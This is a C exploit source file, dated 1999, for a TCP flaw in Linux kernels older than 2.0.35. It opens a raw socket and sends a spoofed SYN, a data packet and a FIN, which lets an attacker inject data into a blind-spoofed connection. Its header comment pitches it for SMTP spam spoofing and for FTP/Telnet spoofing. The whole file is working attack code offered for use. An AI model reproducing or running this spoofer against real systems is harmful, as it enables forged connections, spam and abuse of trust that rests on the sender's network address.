/* linux 2.0.35 and older
 * tcp flaw exploit (discovered by network associates, october 1998)
 * by scut (990310)
 *
 * description: linux does send the tcp data received in the SYN_RECEIVED
 *              state if a FIN packet is send
 * affect: blind spoofing on linux systems with kernel version below 2.0.35
 * useful for: SMTP spoofing (for the lamers to spam)
 *             FTP/Telnet spoofing
 * for the lamers: no, you cannot spoof your mIRC with this
 *
 * for compilation you need libnet, a low level network library from route,
 * go to http://www.infonexus.com/~daemon9/
 * then try with:
 *
 *  gcc -o lin35 lin35.c -lnet -D_BSD_SOURCE=1
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/time.h>
#include <libnet.h>

int
main(int argc, char **argv)
{
  u_long  dip = 0;
  u_long  sip = 0;
  u_short  dp = 0;
  u_short  sp = 0;
  u_long  seq;
  u_char  *buf, *fbuf;
  int  c, s, fp;
  unsigned long int  fs;

  printf("lin35 - linux < 2.0.35 spoofer by sc!\n");
  if (argc != 7) {
    printf("usage: %s shost sport dhost dport delay file\n", argv[0]);
    printf("  shost = source host (name or ip)\n");
    printf("  sport = source port\n");
    printf("  dhost = destination host\n");
    printf("  dport = destination port\n");
    printf("  delay = time to wait (in ms) between SYN and data and FIN\n");
    printf("  file = filename to read data from\n");
    exit(0);
  }
  sip = name_resolve(argv[1], 1);
  sp = atoi(argv[2]);
  dip = name_resolve(argv[3], 1);
  dp = atoi(argv[4]);

  fp = open(argv[6], O_RDONLY);
  if (fp == -1) {
    fprintf(stderr, "file not found\n");
    exit(1);
  }
  fs = lseek(fp, 0, SEEK_END);
  if (fs == -1) {
    fprintf(stderr, "file end not found\n");
    exit(1);
  }
  if (lseek(fp, 0, SEEK_SET) == -1) {
    fprintf(stderr, "cannot reset offset\n");
    exit(1);
  }
  printf("[35] data file: %s - file size: %u\n", argv[6], fs);
  if (fs > (MAX_PACKET - (IP_H + TCP_H))) {
    fprintf(stderr, "file too big, exiting\n");
    exit(1);
  }
  fbuf = malloc(fs);
  if (fbuf == NULL) {
    fprintf(stderr, "cannot load file to mem\n");
    exit(1);
  }
  c = read(fp, fbuf, fs);
  if (c != fs) {
    fprintf(stderr, "cannot read file\n");
    exit(1);
  }

  buf = calloc(1, TCP_H + IP_H);
  if (buf == NULL) {
    fprintf(stderr, "no memory for packet\n");
    exit(1);
  }
  s = open_raw_sock(IPPROTO_RAW);
  if (s == -1) {
    fprintf(stderr, "cannot open raw socket\n");
    exit(1);
  }

  seq = get_prand(PRu32);

  /* first initiate a connection */
  printf("[35] opening connection, sending SYN\n");
  build_ip(TCP_H, 0, get_prand(PRu16), 0, get_prand(PR8), IPPROTO_TCP,
           sip, dip, NULL, 0, buf);
  build_tcp(sp, dp, seq, 0, TH_SYN, 16384, 0, NULL, 0, buf + IP_H);
  do_checksum(buf, IPPROTO_TCP, TCP_H);
  c = write_ip(s, buf, TCP_H + IP_H);
  if (c < TCP_H + IP_H) {
    fprintf(stderr, "send to less bytes\n");
    exit(1);
  }

  /* now wait to let the connection establish */
  usleep(atoi(argv[5]) * 1000);

  /* then send data packet */
  printf("[35] sending data packet (%u bytes of data)\n", fs);
  buf = realloc(buf, TCP_H + IP_H + fs);
  if (buf == NULL) {
    fprintf(stderr, "memory\n");
    exit(1);
  }
  build_ip(TCP_H, 0, get_prand(PRu16), 0, get_prand(PR8), IPPROTO_TCP,
           sip, dip, NULL, 0, buf);
  build_tcp(sp, dp, seq + 1, 0, 0, 16384, 0, fbuf, fs, buf + IP_H);
  do_checksum(buf, IPPROTO_TCP, TCP_H);
  c = write_ip(s, buf, TCP_H + IP_H + fs);
  if (c < (TCP_H + IP_H + fs)) {
    fprintf(stderr, "send to less bytes (%d) for data packet\n", c);
    exit(1);
  }

  /* now wait again */
  usleep(atoi(argv[5]) * 1000);

  /* and close the connection */
  printf("[35] closing connection, sending FIN\n");
  build_ip(TCP_H, 0, get_prand(PRu16), 0, get_prand(PR8), IPPROTO_TCP,
           sip, dip, NULL, 0, buf);
  build_tcp(sp, dp, seq + 1 + fs, 0, TH_FIN, 16384, 0, NULL, 0, buf + IP_H);
  do_checksum(buf, IPPROTO_TCP, TCP_H);
  c = write_ip(s, buf, TCP_H + IP_H);
  if (c < TCP_H + IP_H) {
    fprintf(stderr, "send to less bytes\n");
    exit(1);
  }
  printf("[35] successful\n");
  free(fbuf);
  free(buf);
  return(0);
}

